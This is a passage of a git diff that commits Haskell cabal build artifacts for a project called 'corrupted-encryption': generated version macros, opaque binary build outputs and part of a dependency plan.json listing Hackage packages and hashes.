"0.1.0.0" +#endif /* VERSION_corrupted_encryption */ +#ifndef MIN_VERSION_corrupted_encryption +#define MIN_VERSION_corrupted_encryption(major1,major2,minor) (\ + (major1) < 0 || \ + (major1) == 0 && (major2) < 1 || \ + (major1) == 0 && (major2) == 1 && (minor) <= 0) +#endif /* MIN_VERSION_corrupted_encryption */ +/* package base-4.15.1.0 */ +#ifndef VERSION_base +#define VERSION_base "4.15.1.0" +#endif /* VERSION_base */ +#ifndef MIN_VERSION_base +#define MIN_VERSION_base(major1,major2,minor) (\ + (major1) < 4 || \ + (major1) == 4 && (major2) < 15 || \ + (major1) == 4 && (major2) == 15 && (minor) <= 1) +#endif /* MIN_VERSION_base */ +/* package hip-1.5.6.0 */ +#ifndef VERSION_hip +#define VERSION_hip "1.5.6.0" +#endif /* VERSION_hip */ +#ifndef MIN_VERSION_hip +#define MIN_VERSION_hip(major1,major2,minor) (\ + (major1) < 1 || \ + (major1) == 1 && (major2) < 5 || \ + (major1) == 1 && (major2) == 5 && (minor) <= 6) +#endif /* MIN_VERSION_hip */ +/* package hxt-9.3.1.22 */ +#ifndef VERSION_hxt +#define VERSION_hxt "9.3.1.22" +#endif /* VERSION_hxt */ +#ifndef MIN_VERSION_hxt +#define MIN_VERSION_hxt(major1,major2,minor) (\ + (major1) < 9 || \ + (major1) == 9 && (major2) < 3 || \ + (major1) == 9 && (major2) == 3 && (minor) <= 1) +#endif /* MIN_VERSION_hxt */ +/* package split-0.2.3.4 */ +#ifndef VERSION_split +#define VERSION_split "0.2.3.4" +#endif /* VERSION_split */ +#ifndef MIN_VERSION_split +#define MIN_VERSION_split(major1,major2,minor) (\ + (major1) < 0 || \ + (major1) == 0 && (major2) < 2 || \ + (major1) == 0 && (major2) == 2 && (minor) <= 3) +#endif /* MIN_VERSION_split */ +/* package strings-1.1 */ +#ifndef VERSION_strings +#define VERSION_strings "1.1" +#endif /* VERSION_strings */ +#ifndef MIN_VERSION_strings +#define MIN_VERSION_strings(major1,major2,minor) (\ + (major1) < 1 || \ + (major1) == 1 && (major2) < 1 || \ + (major1) == 1 && (major2) == 1 && (minor) <= 0) +#endif /* MIN_VERSION_strings */ + +/* tool gcc-12.1.0 */ +#ifndef TOOL_VERSION_gcc +#define TOOL_VERSION_gcc "12.1.0" +#endif /* TOOL_VERSION_gcc */ +#ifndef MIN_TOOL_VERSION_gcc +#define MIN_TOOL_VERSION_gcc(major1,major2,minor) (\ + (major1) < 12 || \ + (major1) == 12 && (major2) < 1 || \ + (major1) == 12 && (major2) == 1 && (minor) <= 0) +#endif /* MIN_TOOL_VERSION_gcc */ +/* tool ghc-9.0.2 */ +#ifndef TOOL_VERSION_ghc +#define TOOL_VERSION_ghc "9.0.2" +#endif /* TOOL_VERSION_ghc */ +#ifndef MIN_TOOL_VERSION_ghc +#define MIN_TOOL_VERSION_ghc(major1,major2,minor) (\ + (major1) < 9 || \ + (major1) == 9 && (major2) < 0 || \ + (major1) == 9 && (major2) == 0 && (minor) <= 2) +#endif /* MIN_TOOL_VERSION_ghc */ +/* tool ghc-pkg-9.0.2 */ +#ifndef TOOL_VERSION_ghc_pkg +#define TOOL_VERSION_ghc_pkg "9.0.2" +#endif /* TOOL_VERSION_ghc_pkg */ +#ifndef MIN_TOOL_VERSION_ghc_pkg +#define MIN_TOOL_VERSION_ghc_pkg(major1,major2,minor) (\ + (major1) < 9 || \ + (major1) == 9 && (major2) < 0 || \ + (major1) == 9 && (major2) == 0 && (minor) <= 2) +#endif /* MIN_TOOL_VERSION_ghc_pkg */ +/* tool haddock-2.25.1 */ +#ifndef TOOL_VERSION_haddock +#define TOOL_VERSION_haddock "2.25.1" +#endif /* TOOL_VERSION_haddock */ +#ifndef MIN_TOOL_VERSION_haddock +#define MIN_TOOL_VERSION_haddock(major1,major2,minor) (\ + (major1) < 2 || \ + (major1) == 2 && (major2) < 25 || \ + (major1) == 2 && (major2) == 25 && (minor) <= 1) +#endif /* MIN_TOOL_VERSION_haddock */ +/* tool hpc-0.68 */ +#ifndef TOOL_VERSION_hpc +#define TOOL_VERSION_hpc "0.68" +#endif /* TOOL_VERSION_hpc */ +#ifndef MIN_TOOL_VERSION_hpc +#define MIN_TOOL_VERSION_hpc(major1,major2,minor) (\ + (major1) < 0 || \ + (major1) == 0 && (major2) < 68 || \ + (major1) == 0 && (major2) == 68 && (minor) <= 0) +#endif /* MIN_TOOL_VERSION_hpc */ +/* tool hsc2hs-0.68.7 */ +#ifndef TOOL_VERSION_hsc2hs +#define TOOL_VERSION_hsc2hs "0.68.7" +#endif /* TOOL_VERSION_hsc2hs */ +#ifndef MIN_TOOL_VERSION_hsc2hs +#define MIN_TOOL_VERSION_hsc2hs(major1,major2,minor) (\ + (major1) < 0 || \ + (major1) == 0 && (major2) < 68 || \ + (major1) == 0 && (major2) == 68 && (minor) <= 7) +#endif /* MIN_TOOL_VERSION_hsc2hs */ +/* tool pkg-config-1.8.0 */ +#ifndef TOOL_VERSION_pkg_config +#define TOOL_VERSION_pkg_config "1.8.0" +#endif /* TOOL_VERSION_pkg_config */ +#ifndef MIN_TOOL_VERSION_pkg_config +#define MIN_TOOL_VERSION_pkg_config(major1,major2,minor) (\ + (major1) < 1 || \ + (major1) == 1 && (major2) < 8 || \ + (major1) == 1 && (major2) == 8 && (minor) <= 0) +#endif /* MIN_TOOL_VERSION_pkg_config */ +/* tool runghc-9.0.2 */ +#ifndef TOOL_VERSION_runghc +#define TOOL_VERSION_runghc "9.0.2" +#endif /* TOOL_VERSION_runghc */ +#ifndef MIN_TOOL_VERSION_runghc +#define MIN_TOOL_VERSION_runghc(major1,major2,minor) (\ + (major1) < 9 || \ + (major1) == 9 && (major2) < 0 || \ + (major1) == 9 && (major2) == 0 && (minor) <= 2) +#endif /* MIN_TOOL_VERSION_runghc */ +/* tool strip-2.38 */ +#ifndef TOOL_VERSION_strip +#define TOOL_VERSION_strip "2.38" +#endif /* TOOL_VERSION_strip */ +#ifndef MIN_TOOL_VERSION_strip +#define MIN_TOOL_VERSION_strip(major1,major2,minor) (\ + (major1) < 2 || \ + (major1) == 2 && (major2) < 38 || \ + (major1) == 2 && (major2) == 38 && (minor) <= 0) +#endif /* MIN_TOOL_VERSION_strip */ + +#ifndef CURRENT_COMPONENT_ID +#define CURRENT_COMPONENT_ID "corrupted-encryption-0.1.0.0-inplace-corrupted-encryption" +#endif /* CURRENT_COMPONENT_ID */ +#ifndef CURRENT_PACKAGE_VERSION +#define CURRENT_PACKAGE_VERSION "0.1.0.0" +#endif /* CURRENT_PACKAGE_VERSION */ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption new file mode 100755 index 0000000..883d163 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption-tmp/Main.dyn_hi b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption-tmp/Main.dyn_hi new file mode 100644 index 0000000..8bb3c58 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption-tmp/Main.dyn_hi differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption-tmp/Main.dyn_o b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption-tmp/Main.dyn_o new file mode 100644 index 0000000..866d91e Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/build/corrupted-encryption/corrupted-encryption-tmp/Main.dyn_o differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/build b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/build new file mode 100644 index 0000000..546297e Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/build differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/config b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/config new file mode 100644 index 0000000..da8b640 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/config differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/registration b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/registration new file mode 100644 index 0000000..b755b9f Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/cache/registration differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/package.conf.inplace/package.cache b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/package.conf.inplace/package.cache new file mode 100644 index 0000000..b3cae5c Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/package.conf.inplace/package.cache differ diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/package.conf.inplace/package.cache.lock b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/package.conf.inplace/package.cache.lock new file mode 100644 index 0000000..e69de29 diff --git a/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/setup-config b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/setup-config new file mode 100644 index 0000000..7448cf8 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/build/x86_64-linux/ghc-9.0.2/corrupted-encryption-0.1.0.0/x/corrupted-encryption/setup-config differ diff --git a/corrupted-encryption/dist-newstyle/cache/compiler b/corrupted-encryption/dist-newstyle/cache/compiler new file mode 100644 index 0000000..a3b8400 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/cache/compiler differ diff --git a/corrupted-encryption/dist-newstyle/cache/config b/corrupted-encryption/dist-newstyle/cache/config new file mode 100644 index 0000000..1dabcc7 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/cache/config differ diff --git a/corrupted-encryption/dist-newstyle/cache/elaborated-plan b/corrupted-encryption/dist-newstyle/cache/elaborated-plan new file mode 100644 index 0000000..ed44bde Binary files /dev/null and b/corrupted-encryption/dist-newstyle/cache/elaborated-plan differ diff --git a/corrupted-encryption/dist-newstyle/cache/improved-plan b/corrupted-encryption/dist-newstyle/cache/improved-plan new file mode 100644 index 0000000..411b7cc Binary files /dev/null and b/corrupted-encryption/dist-newstyle/cache/improved-plan differ diff --git a/corrupted-encryption/dist-newstyle/cache/plan.json b/corrupted-encryption/dist-newstyle/cache/plan.json new file mode 100644 index 0000000..008c105 --- /dev/null +++ b/corrupted-encryption/dist-newstyle/cache/plan.json @@ -0,0 +1 @@ +{"cabal-version":"3.4.0.0","cabal-lib-version":"3.4.1.0","compiler-id":"ghc-9.0.2","os":"linux","arch":"x86_64","install-plan":[{"type":"configured","id":"Chart-1.9.4-dd2b9b56a13775e60f882b68144ff794746def945c678c3c97fd47efb1b18131","pkg-name":"Chart","pkg-version":"1.9.4","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"b0eca785d494e1df20ab8bce143f99d140ca7492c819881b708629616e9abe6d","pkg-src-sha256":"35068f14d9100f3156b9d2cd86b928a20ec832f596412203ee65e814888d9d7a","depends":["array-0.5.4.0","base-4.15.1.0","colour-2.3.6-c0a07da2a308e64a4cd0217aecd8f0e84d9bb29bd72dc2a14f40c5b8cc25ccc3","data-default-class-0.1.2.0-41a23755b7c26dd4f6cc319ab5c865e33d34c888658ef7730838e73a4c465b30","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","mtl-2.2.2","old-locale-1.0.0.7-e436e23b3e2659202b3679b3ecbbf704d1932dfadc0daa0a9a10d4b17aad1510","operational-0.2.4.1-8ce090eb959a4ce9e4a3b9c61294437c4b2015d0bf767c73c384e42e818e171f","time-1.9.3","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"Chart-diagrams-1.9.4-9a0b9245a1776df27da1832a1fa5fe8db816568b58ea01847a69339fb8590eb9","pkg-name":"Chart-diagrams","pkg-version":"1.9.4","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"c04a6f1005aac1d5cdbba9d835cac302e9de4033314c2253a4c4f3b69c5afb4b","pkg-src-sha256":"a89cb7aee51fc64276923b879b7bc66fafd994130f53a3035ff6feaf9daf7366","depends":["Chart-1.9.4-dd2b9b56a13775e60f882b68144ff794746def945c678c3c97fd47efb1b18131","SVGFonts-1.8.0.1-17a135e9a1ebf2288b4278cc4b4fca062db43279c3fbd630af5e13ed97bfbc3b","base-4.15.1.0","blaze-markup-0.8.2.8-c429e000e9976549114cd5ee334f42eaa0ebec18c7ce085a7076a11ca92eb93b","bytestring-0.10.12.1","colour-2.3.6-c0a07da2a308e64a4cd0217aecd8f0e84d9bb29bd72dc2a14f40c5b8cc25ccc3","containers-0.6.4.1","data-default-class-0.1.2.0-41a23755b7c26dd4f6cc319ab5c865e33d34c888658ef7730838e73a4c465b30","diagrams-core-1.5.0-e906ddce4ef139670aa0913dc08e5f18d3c281cbf5ab2d21dcd9076572688568","diagrams-lib-1.4.5.1-bb27aeafdc70694d2cf4c45422fac997a3ec243931645007931490b67d861686","diagrams-postscript-1.5.1-a73bd99e9cacd67f963714109c2ff6079671204041714d5566a666a46b82e91a","diagrams-svg-1.4.3.1-86ebe152a63074edf258cd5d499f57ddc19a52728b263e283ab40ac994aecb36","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","mtl-2.2.2","old-locale-1.0.0.7-e436e23b3e2659202b3679b3ecbbf704d1932dfadc0daa0a9a10d4b17aad1510","operational-0.2.4.1-8ce090eb959a4ce9e4a3b9c61294437c4b2015d0bf767c73c384e42e818e171f","svg-builder-0.1.1-befa3fe0d81f4e8fb40609b86af2012818a2e02f4b3ae16d15a8ad299b8e152d","text-1.2.5.0","time-1.9.3"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"JuicyPixels-3.3.7-a5c237df0e1083994c81f4fbaa09492beaab6842d17b00f1b3f927788ef440af","pkg-name":"JuicyPixels","pkg-version":"3.3.7","flags":{"mmap":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"6b77f89b0ca5655981a5603e68a266fc44112de853c76ab9b36ba69366db363b","pkg-src-sha256":"de36b8cdbc640585e73d9728e6a1c8212204c914f807dc5fd40803c9fe553be7","depends":["base-4.15.1.0","binary-0.8.8.0","bytestring-0.10.12.1","containers-0.6.4.1","deepseq-1.4.5.0","mtl-2.2.2","primitive-0.7.4.0-8109c647604a472f651eac4b614f36309780a3c112e805df47f70492d7e27c97","transformers-0.5.6.2","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467","zlib-0.6.3.0-JEDdY1a1MCvHKdNjJAVjbt"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"OneTuple-0.3.1-bedfbe43cff87581695b5bda99330da262512b173ba10314cc3cf33f165dfc41","pkg-name":"OneTuple","pkg-version":"0.3.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"a848c096c9d29e82ffdd30a9998aa2931cbccb3a1bc137539d80f6174d31603e","pkg-src-sha256":"98853682d52fb4cc37a45cd186fbd77cf2565d3df5171acc4cf026427e103eef","depends":["base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","ghc-prim-0.7.0","template-haskell-2.17.0.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"QuickCheck-2.14.2-f0d155ae120746d0dc9854fee5e40742420aaa4916df63c051b69cfe324db328","pkg-name":"QuickCheck","pkg-version":"2.14.2","flags":{"old-random":false,"templatehaskell":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"4ce29211223d5e6620ebceba34a3ca9ccf1c10c0cf387d48aea45599222ee5aa","pkg-src-sha256":"d87b6c85696b601175274361fa62217894401e401e150c3c5d4013ac53cd36f3","depends":["base-4.15.1.0","containers-0.6.4.1","deepseq-1.4.5.0","random-1.2.1.1-CPzrEs7ZPWa61oDCTMsEJ2","splitmix-0.1.0.4-5zRDmgEzeOi3TFYx8LTim4","template-haskell-2.17.0.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"SVGFonts-1.8.0.1-17a135e9a1ebf2288b4278cc4b4fca062db43279c3fbd630af5e13ed97bfbc3b","pkg-name":"SVGFonts","pkg-version":"1.8.0.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"66a29cebd825bdac6ed1da83bd3a310ba6e8db5d63d6511015d644b9a8ec48b8","pkg-src-sha256":"698a517322fd9910784da15a716c4f3eaec0080298ca5098871b9bd24f3c7f64","depends":["attoparsec-0.14.4-a9da3b47625a505851414ac219634dac35c5e6c484edf9891077536c4507cf98","base-4.15.1.0","blaze-markup-0.8.2.8-c429e000e9976549114cd5ee334f42eaa0ebec18c7ce085a7076a11ca92eb93b","blaze-svg-0.3.6.1-9b16145b4cbf6a2e5b9353092e7995a692db641f8bdd37ec4a55ea6d13474c72","bytestring-0.10.12.1","cereal-0.5.8.2-2e9695239b8acfad54eb386fcd52a09552867c8ff099372b21f215e1e86482ce","cereal-vector-0.2.0.1-1efc26ee0e07b327ffbd1c526892a4fd10677085160d5cf73612969b46d872bf","containers-0.6.4.1","data-default-class-0.1.2.0-41a23755b7c26dd4f6cc319ab5c865e33d34c888658ef7730838e73a4c465b30","diagrams-core-1.5.0-e906ddce4ef139670aa0913dc08e5f18d3c281cbf5ab2d21dcd9076572688568","diagrams-lib-1.4.5.1-bb27aeafdc70694d2cf4c45422fac997a3ec243931645007931490b67d861686","directory-1.3.6.2","parsec-3.1.14.0","split-0.2.3.4-42e365cdcb3812f4cd1eafda2d4eba09ea06dda5992058d133f895c58f7e6763","text-1.2.5.0","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467","xml-1.3.14-51ecfccd5177b7c75f8d405a5f5e3669c73dce5d09109d0a4cdc02a1d76b2589"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"StateVar-1.2.2-6fb8e3fe1c21d756037880811c58d69e1723de1b9536d1ab890e3be1cc9ab658","pkg-name":"StateVar","pkg-version":"1.2.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"3c022c00485fe165e3080d5da6b3ca9c9b02f62c5deebc584d1b3d1309ce673e","pkg-src-sha256":"5e4b39da395656a59827b0280508aafdc70335798b50e5d6fd52596026251825","depends":["base-4.15.1.0","stm-2.5.0.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"active-0.2.0.15-8c013bbfe5fa8aa095d9d80240df148c39d2147d8594f99f2a1318a6ac479f73","pkg-name":"active","pkg-version":"0.2.0.15","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"56d95c2205a8e52911bf08784b9958be430036e6ea16521b957c3e27cc71235c","pkg-src-sha256":"e4b4532a760a7322cc9142b4bac3861a13f52a427a792832d65a43758dc93d05","depends":["base-4.15.1.0","lens-5.1.1-2aa27cbe93440a2f4f610a2ac23404e7aa7ebcb9cd33d45dbdfa1b3b46b77bec","linear-1.21.10-331b74892e25b715420abb457877019e925b0ddd108891b8e46b918ef1d74084","semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"adjunctions-4.4.1-169108ba8ea78b83740bd52f3a50976061822283de424559fe9868e038845afb","pkg-name":"adjunctions","pkg-version":"4.4.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"baee1b1c55f3072611b8d386a2985c8fbd50e96ee0e6d865ba72b294b9081055","pkg-src-sha256":"9cf34f150606a07d730751037a9d4935ea7760c89b8fcdc3b8fdd858b6411543","depends":["array-0.5.4.0","base-4.15.1.0","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","containers-0.6.4.1","contravariant-1.5.5-6fac33de2e8ba87317db625f54411c76f7fc1b31322462296b6352a68e657539","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","free-5.1.9-17c49e811675efb729577964f62c0a87ea00de4540d9c71566f660bcb6450614","mtl-2.2.2","profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","void-0.7.3-d0967a49800328fce1d858db813ade1412d4c38fa5544448d623a8b276a2ebd6"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"ansi-terminal-0.11.3-98dc700a918a75bcbebb926828466bf5064624ce0280334f476854afb3f47a14","pkg-name":"ansi-terminal","pkg-version":"0.11.3","flags":{"example":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"cc499d5f4c09a7213cd752ee69dbb5a5b8f3d1c777274e609eea4bca5c68ac8c","pkg-src-sha256":"f4d563ecf71fb1d304bcdcad478d97efd9f61f6d9d4797a5d56e7722a92a9e6b","depends":["base-4.15.1.0","colour-2.3.6-c0a07da2a308e64a4cd0217aecd8f0e84d9bb29bd72dc2a14f40c5b8cc25ccc3"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"ansi-wl-pprint-0.6.9-99da908d2e8ea9e9d2eda7cd4dce75fafe66291d81b821c4e0772aeba497fd7e","pkg-name":"ansi-wl-pprint","pkg-version":"0.6.9","flags":{"example":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"212144ea0623b1170807a4162db05d87f26cf10b334aeadd0edb377aba06a1ce","pkg-src-sha256":"a7b2e8e7cd3f02f2954e8b17dc60a0ccd889f49e2068ebb15abfa1d42f7a4eac","depends":["ansi-terminal-0.11.3-98dc700a918a75bcbebb926828466bf5064624ce0280334f476854afb3f47a14","base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"array-0.5.4.0","pkg-name":"array","pkg-version":"0.5.4.0","depends":["base-4.15.1.0"]},{"type":"configured","id":"assoc-1.0.2-309ba93d3ac9e4dbd49097224b727c34adc2d7f47537b0835a6b626827e18c86","pkg-name":"assoc","pkg-version":"1.0.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"e0d9d1febc172e2a1b22aacd25df7f90be557dcf12ff87359f43128f8c194d9e","pkg-src-sha256":"d8988dc6e8718c7a3456515b769c9336aeeec730cf86fc5175247969ff8f144f","depends":["base-4.15.1.0","bifunctors-5.5.12-7c584e3a7f0c7328e082f3dd528b5b646148aafbdaad09f2c85ab58a91713cba","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"async-2.2.4-A0B9IOxHH19KB8pu15mnoQ","pkg-name":"async","pkg-version":"2.2.4","depends":["base-4.15.1.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","stm-2.5.0.0"]},{"type":"configured","id":"attoparsec-0.14.4-a9da3b47625a505851414ac219634dac35c5e6c484edf9891077536c4507cf98","pkg-name":"attoparsec","pkg-version":"0.14.4","flags":{"developer":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"79584bdada8b730cb5138fca8c35c76fbef75fc1d1e01e6b1d815a5ee9843191","pkg-src-sha256":"3f337fe58624565de12426f607c23e60c7b09c86b4e3adfc827ca188c9979e6c","depends":["array-0.5.4.0","attoparsec-0.14.4-l-attoparsec-internal-d4978c1f0865592634f0730bf49252938d373ab2b383196f93eaf98cc0386e5f","base-4.15.1.0","bytestring-0.10.12.1","containers-0.6.4.1","deepseq-1.4.5.0","ghc-prim-0.7.0","scientific-0.3.7.0-d0413f5c60e6f42551334ed7c6cd0010cbc2ae2a4e4edcc4b8082d82d523923c","text-1.2.5.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"attoparsec-0.14.4-l-attoparsec-internal-d4978c1f0865592634f0730bf49252938d373ab2b383196f93eaf98cc0386e5f","pkg-name":"attoparsec","pkg-version":"0.14.4","flags":{"developer":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"79584bdada8b730cb5138fca8c35c76fbef75fc1d1e01e6b1d815a5ee9843191","pkg-src-sha256":"3f337fe58624565de12426f607c23e60c7b09c86b4e3adfc827ca188c9979e6c","depends":["array-0.5.4.0","base-4.15.1.0","bytestring-0.10.12.1","text-1.2.5.0"],"exe-depends":[],"component-name":"lib:attoparsec-internal"},{"type":"configured","id":"attoparsec-binary-0.2-6c311c5a5f0d37e2fb272e96af82992f7f8e5f7389c0d3aae51c4e8a5e6d8c99","pkg-name":"attoparsec-binary","pkg-version":"0.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"4514f23da427f35484a959872dcda1df6801e5632cbb138f0ff16a786d256236","pkg-src-sha256":"05e6445b20b396c99275de3e37bf8bb18559a5666ad5136907857bf574e77a0b","components":{"lib":{"depends":["attoparsec-0.14.4-a9da3b47625a505851414ac219634dac35c5e6c484edf9891077536c4507cf98","base-4.15.1.0","bytestring-0.10.12.1"],"exe-depends":[]}}},{"type":"pre-existing","id":"base-4.15.1.0","pkg-name":"base","pkg-version":"4.15.1.0","depends":["ghc-bignum-1.1","ghc-prim-0.7.0","rts"]},{"type":"pre-existing","id":"base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","pkg-name":"base-orphans","pkg-version":"0.8.6","depends":["base-4.15.1.0","ghc-prim-0.7.0"]},{"type":"pre-existing","id":"base64-bytestring-1.2.1.0-BJuXRBAdLOsHfwJFsLaaPA","pkg-name":"base64-bytestring","pkg-version":"1.2.1.0","depends":["base-4.15.1.0","bytestring-0.10.12.1"]},{"type":"configured","id":"bifunctors-5.5.12-7c584e3a7f0